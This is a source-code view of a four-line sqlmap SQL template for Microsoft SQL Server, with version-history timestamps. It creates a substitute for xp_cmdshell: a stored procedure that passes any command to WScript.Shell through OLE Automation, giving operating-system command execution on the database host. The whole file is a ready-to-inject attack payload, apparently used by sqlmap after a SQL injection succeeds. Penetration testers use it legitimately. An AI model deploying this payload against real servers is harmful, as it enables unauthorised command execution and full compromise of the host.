sqlmap/procs/mssqlserver/create_new_xp_cmdshell.sql

4 lines
271 B
MySQL
Raw Normal View History

2012-07-02 18:28:19 +04:00
DECLARE @%RANDSTR% nvarchar(999);
2012-07-02 18:30:32 +04:00
set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
2012-07-02 18:28:19 +04:00
EXEC master..sp_executesql @%RANDSTR%